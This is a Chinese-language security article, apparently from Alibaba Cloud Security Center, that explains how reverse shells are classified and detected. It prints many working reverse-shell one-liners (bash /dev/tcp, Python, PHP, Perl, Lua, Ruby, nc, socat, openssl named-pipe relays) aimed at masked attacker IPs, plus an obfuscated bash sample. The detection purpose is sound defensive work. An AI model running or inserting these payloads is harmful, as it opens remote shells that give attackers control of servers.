云安全中心反弹Shell多维检测技术详解

什么是反弹Shell

反弹Shell是黑客（即Shell攻击者）用于控制受害服务器的一种手段。Shell攻击者指定服务端，并将需要受害服务器执行的命令（标准输入、标准输出、标准错误等）重定向到该服务端。受害服务器主动连接攻击者的服务端程序，攻击者的服务端通过监听来自受害服务器的请求，对目标服务器下发指令并获取执行结果，以达到攻击者可以控制受害服务器的目的。

反弹Shell攻击现状

阿里云安全团队通过分析历史中云上环境的Linux服务器入侵事件，总结攻击链路中实现反弹Shell的语言及工具使用率。

分析结果发现，交互式Bash+/dev/tcp是使用最多的反弹Shell，/dev/tcp作为Bash的默认特性使得该反弹方式兼容绝大多数环境，因此使用率高。紧随其后的是兼容性较好且灵活易用的Python。随着Go语言的兴起，云上入侵事件开始出现Go反弹Shell。从上图可以看出反弹Shell实现的方式灵活多样，每种语言都可以进一步延伸和扩展。因此，为了保障最优的检出效果，反弹Shell的检测方案需要综合考虑多种场景因素。

常规检测方法

常见的检测方案是通过正则匹配的方式，提取反弹Shell命令的特征去匹配命令日志、流量日志。该方案具有以下不足：

• 命令日志采集不完整：例如通过Netlink等方式采集的日志，在碰到管道符、重定向时会无法采集完整的原始执行命令。而通过Patch Bash的方式记录命令日志，在遇到服务器使用Zsh、Ksh等其他Shell环境，或攻击者上传自己编译的Bash时会失效。

• 正则匹配无法覆盖无穷无尽的文本对抗：攻击者可以不断挖掘出新的变形方式来绕过正则匹配。在实际业务场景中，过多复杂的正则匹配会带来更大性能压力，而通配性更广的正则匹配会带来更多误报。

• 特征匹配失效：在网络流量被加密后，特征匹配会失效。

分类检测思想

因为表层对抗是无穷无尽的，检测需要由表及里，尽可能挖掘出更本质的解决方法。从检测的角度来看，反弹Shell的本质可以理解为：网络通信+命令执行+重定向方式。

命令执行和网络通信借助重定向，可以构建出一条流动的数据通道。攻击者可以利用这条通道下发指令控制受害服务器。不同的实现方式组合在一起，就形成了多种多样的反弹Shell。例如：

• 网络通信可以使用TCP、UDP、ICMP等协议，TCP协议再细分又可以包含HTTP、HTTPS协议等，UDP包含DNS等。

• 命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。

• 重定向可以通过管道、成对的伪终端、内存文件等实现。

从检测的角度，可以将反弹Shell分为三种类型。

第一类反弹Shell：直接重定向Shell的输入输出到Socket

该类型反弹Shell最典型的例子是：

bash -i >& /dev/tcp/10.10.XX.XX/666 0>&1

以下介绍直接重定向Shell解释器的输入输出到Socket类型的常见案例。

• 案例一：

  bash -i >& /dev/tcp/10.10.XX.XX/6060 0>&1

• 案例二：

  python -c 'import 
  socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  s.connect(("10.10.XX.XX",6060));
  os.dup2(s.fileno(),0); 
  os.dup2(s.fileno(),1); 
  os.dup2(s.fileno(),2);
  p=subprocess.call(["/bin/sh","-i"]);'

• 案例三：

  php -r '$sock=fsockopen("10.10.XX.XX",6060);exec("/bin/sh -i <&3 >&3 2>&3");'

• 案例四：

  perl -e 'use 
  Socket;$i="10.10.XX.XX";$p=6060;  
  socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
  if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
  open(STDERR,">&S");
  exec("/bin/sh -i");};'

• 案例五：

  lua -e 
  "require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.execute('/bin/sh -i <&3 >&3 2>&3');"

该类型反弹Shell通过重定向bash -i的标准输入、标准输出、标准错误到/dev/tcp Socket进行网络通信。下图可以帮助您理解重定向过程。

这类反弹Shell的检测可以通过检测Shell的标准输入、标准输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现。

第二类反弹Shell：通过管道、伪终端等中转，再重定向Shell的输入输出到中转

此类反弹Shell借助管道、伪终端等进行中转，例如下面这个典型案例将sh -i的标准输入、标准输出、标准错误重定向到命名管道/tmp/f，同时加密通信数据也流向该命名管道。

mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/f

通过管道、伪终端等作为中转体，并与Socket打通，重定向Shell解释器的输入输出到中转体，有以下常见案例：

• 案例一：

  nc 10.10.XX.XX 6060|/bin/sh|nc 10.10.XX.XX 5050 nc -e /bin/bash 10.10.XX.XX 6060 nc -c bash 10.10.XX.XX 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.XX:6060

• 案例二：

  mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 6060>/tmp/f

• 案例三：

  mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.XX.XX:6060 > /tmp/s; rm /tmp/s

• 案例四：

  mknod backpipe p; nc 10.10.XX.XX 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe

• 案例五：

  bash -c 'exec 5<>/dev/tcp/10.10.XX.XX/6060;cat <&5|while read line;do $line >&5 2>&1;done'

• 案例六：

  telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050

在某些变形的场景下，可能经过层层中转，但无论经过几层最终都会形成一条流动的数据通道。通过跟踪FD（文件描述符File Descriptor）和进程的关系可以检测该数据通道。

此类反弹Shell使用频率较高，其中利用伪终端中转的方式值得单独讨论，比如以下案例。

python -c 'import 
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

通过伪终端中转与通过管道等中转原理一样，但通过伪终端中转的检测难度大大提升，单从Shell的标准输入输出来看，和正常打开的终端没有什么区别。此外，一些场景如容器、各类产品Agent等也会有相似的日志记录，平衡漏报与误报的难度上大大提升。因此我们在文件描述符合检测方案的基础上，结合进程、网络等多种日志信息综合分析。以下是云安全中心检测出的利用伪终端中转方式的告警。

第三类反弹Shell：编程语言实现标准输入中转，重定向命令执行的输入到中转

第三种类型反弹Shell通过编程语言实现标准输入的中转，然后重定向命令执行的输入到中转，标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例：

python - c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"

Shell攻击者使用编程语言实现标准输入中转，重定向命令执行的输入到中转，有如下常见案例：

• 案例一：

  python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.10.XX.XX',6060))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

• 案例二：

  lua5.1 -e 'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

• 案例三：

  ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.XX.XX","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

在这种场景下，反弹Shell的命令执行和正常业务行为变得更加难以区分，对抗程度上升，除了从进程命令行尽可能地覆盖这类反弹Shell的特征以外，云安全中心还通过异常命令行为序列、异常Shell启动模型检测该类反弹Shell。

异常命令行为序列模型基于阿里云大数据实时计算平台，通过分析命令序列与攻击者获取Shell后行为相似度来判定是否为反弹Shell。而异常Shell启动模型结合多维度特征以及机器历史行为综合判定产出告警。以下是云安全中心已检测出的告警。

云安全中心多维检测方案

攻击与防御技术总是在不断的对抗中升级，攻击技术任何单点的突破都可能形成稳定绕过防御技术的局面。理论上任何一种反弹Shell检测都不是完美的，特别是第三类反弹Shell。云安全中心支持纵深检测，采用多维度交叉检测反弹Shell方案，通过进程特征覆盖、文件描述符分析、命令行为序列、异常Shell启动、二进制沙箱、脚本沙箱、流量特征覆盖、对抗行为检测共八项技术在不同入侵阶段埋点，从而最大程度保障检出效果。

除了分类检测思想中介绍的更贴近反弹Shell本质的FD检测技术、从行为目的出发的异常命令行为序列检测技术、异常Shell启动检测和常规的命令、网络特征覆盖方案以外，云安全中心同时使用以下检测技术：

脚本沙箱

对于脚本类型的反弹Shell，云安全中心提供针对性的解决方案。

云安全中心会对落盘脚本文件进行文件落盘检测，检测的语言包括但不限于Bash、Python、Perl、Vbs、PowerShell、Bat、JAR等。

"${@~~}"  "${@^^}"   $BASH  ${*%%$9tcW\)zX}   <<< "$(  "${@~~}"  $'\162'''e${*}v <<< '
}^^*{$   ")     }^^*{$  ;   }4S:\{\/CZ.!\?//@{$   }^^@{$   "}~~H7ONC{$"   s%  f\"t"n""ir*$p}@!{$
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云安全中心会对混淆类样本，通过每种语言的Trace模式，动态解混淆后进行检测。

近些年随着Java应用越来越多，在云上也出现一些利用JAR包进行反弹Shell的案例。云安全中心会对JAR等打包类文件进行静态反编译并结合动态的运行进行多维度判定。

随着攻防对抗程度提升，无文件攻击越来越流行，云安全中心针对无文件类反弹Shell提供了相应检测方案。

二进制沙箱

云安全中心对于常见的C/C++、Go、MeterPreter Shellcode等二进制反弹Shell开发方式进行了特殊的识别和处理，综合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测。

流量特征分析

云安全中心覆盖常见Shell通信特征，辅助提升反弹Shell检测效果。

对抗行为检测

云安全中心覆盖常见绕过方式，如替换系统Shell、命令编码等，作为辅助手段提升检测效果。